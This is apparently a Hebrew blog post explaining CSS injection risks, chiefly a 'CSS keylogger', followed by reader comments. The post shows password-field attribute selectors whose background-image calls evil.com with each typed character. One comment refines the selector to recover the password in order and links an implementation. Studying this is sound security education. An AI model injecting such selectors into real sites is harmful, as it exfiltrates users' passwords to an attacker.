אם יש מישהו שאני מעריך בנושא ה-CSS זה אלעד שכטר שמנהל את קהילת ה- CSS masters בישראל. לחלק מכם CSS יחשב כנושא איזוטרי, שלא לומר משעמם בעידן הפריימוורקים והג׳אווהסקריפט אבל זה רחוק מלהיות נכון. בניה נכונה של CSS והכרות טובה איתו היא אחת מאבני היסוד של כל מתכנת פרונט אנד והדברים שאפשר לעשות עם css באתרי פרודקשן הם מטורפים.
לפני כשבועיים נפגשתי עם אלעד במיטאפ המגניב מאוד של מפתחי הווב של באר שבע. מדובר במיטאפ שמארגן ינאי אדרי והוא אחד המיטאפים הותיקים והמוצלחים ביותר. אני מגיע לשם כל שנה כי זה באמת מיטאפ נהדר וינאי משחד אותי בבירות משובחות של גלנץ שכרגע קשה להשיג במרכז. סיפרתי לאלעד שיש לא מעט חורי אבטחה ב-CSS והוא לא ידע – חשבתי שאם אדם בקליבר שלו לא יודע, אז ללא ספק זו הזדמנות לדבר על כמה חורי אבטחה מעניינים ב-CSS.
בגדול, רובנו כבר יודעים להזהר מ-XSS. ג׳אווהסקריפט שתוקף מזריק לאתר שלנו ויכול להסב נזקים למשתמשים – להקפיץ להם תוכן זדוני, לשלוח אותם לדף אחר ואפילו, בתנאים מאוד ספציפיים, לגנוב להם את הסשן. Headers וגם מנגנונים אחרים כמו WAFים (שזה פיירוולים אפליקטיביים) בולמים בדרך כלל כל מה שחשוד ב-XSS. אבל מה עם הזרקת CSS?
אני שומע כבר את הקוראים מגחכים. מה אפשר לעשות עם הזרקת CSS? אז נניח והתוקף מצליח להכניס תגית style לאתר שלי – מה הוא כבר יכול לעשות עם זה? אז קודם כל הוא יכול להחליף את התוכן של האתר ממש באמצעות התכונות content שבה אפשר להכניס גם קישור. למשל לצבוע את האתר שלכם בשחור ולשים ״האתר עבר, לחצו כאן״ או ״הכנסו ל https://evil.com או משהו בסגנון. אבל מעבר לזה, יש עוד כמה דברים מענינים – כמו ה-CSS keylogger. קוד ב-CSS שיכול לעקוב אחר ההקלדות שלך בשדה כלשהו – כמו למשל שדה משתמש וסיסמה ולשלוח את המידע הזה לשרת מרוחק. איך? עם סלקטור פשוט של ערך של value. כן, מסתבר שאפשר לכתוב סלקטורים ב-CSS עם ביטויים רגולריים שקובעים תכונות מסוימות לפי תכונות של האלמנט. אם מדובר ב-input, ובכן… יש לו תכונת value. אם יש לי סלקטור כזה למשל:
input[type="password"][value*="a"]אני יכול להציב לסלקטורים כאלו background-image שפשוט קורא ל:
https://evil.com?param=aבכל פעם שהתנאי מתממש – evil.com יקבל קריאה ל-a.
הנה הדמו המובטח, פיתחו את הקונסול:
See the Pen css keylogger by Ran Bar-Zik (@barzik-the-vuer) on CodePen.
איך זה עובד? קודם כל זו קצת רמאות – כי זה מצריך שיהיה ג׳אווהסקריפט שמשנה את ה-value של הטופס. שזה קורה המון אם יש ספריות צד לקוח כמו ריאקט שעושה בדיוק את אותו הדבר. ברגע שיש את זה, כל מה שאני צריך לעשות זה להזריק CSS לעמוד שקובע רקע ל-imput. הרקע יכול להיות צבע, כמו בתמונה. או לחלופין, יכול להיות background-img עם קישור מיוחד וכך בעצם התוקף יכול עם קצת מזל להאזין להקלדות.. לא הוקטור הכי ולידי, אבל בהחלט משהו אפשרי.
איך מתגוננים? האמת שכמשתמש קצה אין לי איך להתגונן וזה מבאס. מצד שני, נודה על האמת – הוקטור הזה מעיף אבל לא מאוד ישים. אבל… טוב לדעת שאפשר לעשות נזקים ובושות גם עם CSS.
זהו, קצת ישן אבל בהחלט משעשע ומעניין, ולו רק מהבחינה האינטלקטואלית.
הכי כייף לארח אותך איש יקר… זכות שלנו
אחלה כתבה רן, מפורט ומוסבר כמו שצריך!
בהחלט למדתי משהו חדש! חושב איך ליצר מזה טריקים מגניבים בCSS 🙂
אם יש לך באתר CSP אז פניה לשרת בדומיין אחר תחסם
כתבת בטעות imput במקום input…
(תוכל למחוק את התגובה הזו אחרי התיקון)
יש דרך יותר יעילה שמאפשרת לך ללכוד כמעט בוודאות את הסיסמה:
"`
input[type="password"][value$=""a] {
background: url(https://example.com/a);
}
"`
וככה כשהמשתמש מקליד a אתה מקבל בקשה, כנ"ל b, וכו', ואז (אם אין עיכובים ברשת שיגרמו לבקשות לא באותו הסדר שהן נשלחו) אתה יכול לקבל את הסיסמה במדויק (וגם אם יש עיכובים, אתה יודע בדיוק את האותיות של הסיסמה וכמעט בדיוק את הסדר שלהן (סטטיסטית) – אז אתה יכול לבצע brute-force פשוט ע עם טיפה נסיונות. תנסה להחליף כל שתי אותיות סמוכות – סיכוי טוב שזה יספיק. אל תשכח שמדובר בבקשות GET פשוטות בלי שום payload).
אתה יכול למצוא מימוש נחמד ב https://github.com/maxchehab/CSS-Keylogging/.